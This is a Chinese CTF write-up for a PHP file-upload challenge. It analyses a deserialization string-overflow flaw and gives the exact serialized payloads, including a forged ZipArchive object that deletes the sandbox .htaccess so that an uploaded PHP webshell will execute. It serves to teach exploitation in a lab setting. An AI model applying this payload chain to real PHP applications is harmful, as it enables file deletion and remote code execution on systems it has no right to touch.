從一道題看PHP反序列化字符串溢出
題目地址:
http://www.bmzclub.cn/challenges#file-vault
01
目錄掃描分析代碼

這是一道很好反序列化字符串溢出的題目,首先打開容器看到這是一個上傳點

先進行目錄掃描,發現存在vim的備份文件 index.php~

查看 index.php~ 得到源碼如下
?phperror_reporting(0);include('secret.php');$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}if(!isset($_GET['action'])) {$_GET['action'] = 'home';}if(!isset($_COOKIE['files'])) {setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);}switch($_GET['action']){case 'home':default:$content = "enctype='multipart/form-data'>type='submit'/>";$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "
";$i = 0;foreach($files as $file) {$content .= "
value='".htmlspecialchars($file->fakename)."'>value='Click to edit name'>
target='_blank'>Click to show locations
";$i++;}$content .= "
";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
代碼稍微比較多一點,我們一段一段來分析一下,先看第一段
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}
$sanbox_dir 即將訪問者的IP經過SHA1加密拼接在sanbox后構成單獨的路徑,例如:san
box/4b84b15bff6ee5796152495a230e45e3d7e947d9 。myserialize() ,將傳入的 $a 序列化,然后進行一個字符串的替換( 這里是形成反序列化字
符串溢出的關鍵點 )得到 $b ,最后返回 SHA256 有未知密鑰( $secret )加密后的 $b 作為簽
名,拼接上 $b 的結果。myunserialize() ,首先截取 $a 的后 64位 部分與 SHA256 加密后的截掉末尾 64位 的$a ,這里就是做一個簽名驗證,驗證序列化字符串加密后是否還是 myserialize() 返回
的正確簽名,防止攻擊者私自修改序列化字符串。最終返回反序列化后得對象。
接著看這段代碼
if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}
當 $sanbox_dir 路徑不存在時,創建 $sanbox_dir 。檢測在 $sanbox_dir 下是否存在 .hta
ccess 文件,不存在的話在 $sandbox_dir 下創建 .htaccess ,并寫入 php_flag engine o
ff 。該配置作用是禁用當前目錄下的PHP解析功能。

action 默認操作為 home ,檢查是否設置 Cookie['files'] ,未設置的話設置 Cookie: files ,值為 myserialize($a, $secret) 的返回值, $a 的類型為數組。 $secert 一直都是未知的。
02
繼續分析
class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}
UploadFile 類中存在 upload() 和 open() 兩個方法,先看 UploadFile::upload() ,將上
傳的文件寫入 $sandbox_dir 下,存儲名稱為文件內容的 SHA1 加密后的字符,如無后綴即
默認 .txt 后綴。沒有文件類型限制。$this->fakename 即上傳文件的名稱, $this->real
name 是文件在服務器上存儲的名稱。UploadFile::open() 即返回指定的 fakename 以及 realname 的存儲路徑。
接著分析 action 傳入不同值的操作
switch($_GET['action']){case 'home':default:$content = "
enctype='multipart/form-data'>type='submit'/>";
$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "
";$i = 0;foreach($files as $file) {$content .= "
value='".htmlspecialchars($file->fakename)."'>value='Click to edit name'>
target='_blank'>Click to show locations
";$i++;}$content .= "
";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}
?action=home :
默認執行,提供 ?action=upload 上傳操作,反序列化Cookie中的 files 值,將數組的
每一個 UploadFile::fakename 取出來回顯。提供 ?action=changename 以及 ?action=open 操作。上傳一個展示一個。
?action=upload :
POST上傳文件,實例化 UploadFile 類, $uploadfile 對象調用 UploadFile::upload
() 方法,獲取上傳的文件名稱以及內容傳入 upload() 方法。反序列化驗證當前Cookie
中的序列化字符串,并增加根據新上傳文件創建新的對象增加到數組中,并序列化存儲
Cookie中。
?action=changename :
反序列化Cookie的值獲取整個數組的對象,傳入參數 i 來指向數組中的具體某個對
象,然后傳入 newname 重新賦值原來的 UploadFile::fakename 。然后重新序列化存入
Cookie。
?action=open :
反序列化Cookie的值獲取整個數組的對象,傳入參數 i 來指向數組中的具體某個對象,然后傳入 UploadFile::fakename 和 UploadFile::realname 并執行 UploadFile::o
pen() 操作。
?action=reset :
清空Cookie中數組的每個對象,并刪除 $sandbox_dir 下的所有文件。
03
思路整理
分析完所有的代碼,雖然上傳文件無限制,但是有 .htaccess 的限制,就算上傳了shell也
是沒有用的。漏洞利用的關鍵點在
function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}
這里對 序列化之后 的字符串進行了 str_replace() 替換字符操作,將序列化之后的字符串
中的 ../ 替換為了 ./ ,也就是說一個 ../ 被替換后會向后被吃掉的一個字符。反序列化
字符串溢出的原理這里就不詳細介紹了,可自行查閱資料。
很明顯我們對上傳文件的能控制得只有上傳文件的文件名,也就是 fakename ,并且肯定
不能直接修改 Cookie 的序列化字符串,有簽名驗證的。但是通過 ?action=changename 就
可以合法的控制 fakename 的值進行反序列化字符串溢出。
隨便上傳兩個文件我們看下Cookie中存儲的對象
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
構造反序列化溢出,我們可以上傳兩個文件之后,通過重命名第一個文件的 fakename ,
可以吃掉第二個文件原來的對象。引入一個新的對象,不過前提是我們需要先精妙的在第
二個對象的 fakename 處,構造出一個完整的對象實現漏洞利用并且要承上啟下,精妙的
構造好前后的序列化字符串。
整個源碼就一個類,兩個對象,分別是 UploadFile::upload() 、 UploadFile::open() ,
而其中 open() 方法挺常見的,如果能找到一個含有 open() 方法的標準類( PHP內置已經定
義好的類 ),那么我們就可以利用這個類去利用其中同名方法 open() 的功能。
遍歷下所有已定義好的類,看看哪些類中有 open() 方法
echo 'current PHP Version: '.phpversion()."";foreach (get_declared_classes() as $class) {foreach (get_class_methods($class) as $method) {if ($method == "open")echo "$class->$method";}}?>
PS C:\Users\Administrator\Downloads> php -f .\class.phpcurrent PHP Version: 7.4.3SessionHandler->openZipArchive->openXMLReader->open
其中 ZipArchive->open($fakename, $realname) 方法正好是兩個參數

$filename 對應 $fakename ,把 .htaccess 的路徑賦給 $filename ,而 $flag 如果設置
成 ZipArchive::OVERWRITE ,就可以將改文件覆蓋,即刪除。
open('./.htaccess',ZipArchive::OVERWRITE);echo $rt;$zip->close();?>
刪除了同目錄下的 .htaccess

這里 ZipArchive::OVERWRITE 還可以用 9 代替

04
構造payload
接下來開始構造payload
任意上傳兩個文件后在cookie中取出反序列化字符串
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}
任意查看一個上傳的文件

得到 $sandbox_dir ,然后我們構造一個 ZipArchive 類
$zip = new ZipArchive();$zip->fakename = "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";$zip->realname = "9";echo serialize($zip);?>
O:10:"ZipArchive":7:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";}
首先構造第二個 UploadFile 對象的 fakename ,將 fakename 之后的序列化字符串取出
來,總共 67 個字符
";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png
我們將 ZipArchive 的序列化字符串其中的對象位置順序調整一下,將 ZipArchive::comme
nt 的長度調整到 67
O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
這樣就可以將第二個 fakename 之后的序列化字符串安置在 comment 中
然后需要將第一個 UploadFile 的對象的 realname 部分放在以上的payload前面
";s:8:"realname";s:6:"mochu7";}
值為什么無所謂,只是為了序列化的完整性,所以得到第二個 fakename 的payload最終
為:
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
注意: 因為是數組的第二個值,注意需要加上 i:1;
05
構造fakename的payload
接下來來分析下第一個 fakename 的payload該怎么構造,這是需要溢出吃掉的部分
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"
但是注意,因為我們是先重命名在數組中 i=1 的對象的 fakename ,所以當我們重命名完
之后數組中第二個對象的 fakename 之后,第一個對象的 fakename 長度要變為第一個
payload的字符長度
";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:"
以上才是需要溢出吃掉的字符串,長度為 117 ,所以我們需要 117 個 ../
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
最終,第二個對象需要重命名的 fakename
";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"


第一個對象需要重命名的 fakename
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../


這時候看Cookie的序列化值
array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(351)"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:""public $realname =>string(6) "mochu7"}[1] =>class ZipArchive#2 (7) {public $status =>int(0)public $statusSys =>int(0)public $numFiles =>int(0)public $filename =>string(0) ""public $comment =>string(0) ""public $fakename =>string(58) "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess"public $realname =>string(1) "9"}}
成功注入了 ZipArchive 對象,然后調用 ZipArchive 對象
/index.php?action=open&i=1


這樣就可以刪除 sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess 了,回
到 index.php 上傳 shell.php上傳 shell.php 之后再執行一遍上面的刪除操作(因為訪問 index.php 會再次生成 .htaccess 文件,我們需要上傳shell后再刪除),然后訪問shell

已經可以解析php文件了
如果覺得本文不錯的話,歡迎加入知識星球,星球內部設立了多個技術版塊,目前涵蓋“WEB安全”、“內網滲透”、“CTF技術區”、“漏洞分析”、“工具分享”五大類,還可以與嘉賓大佬們接觸,在線答疑、互相探討。
▼掃碼關注白帽子社區公眾號&加入知識星球▼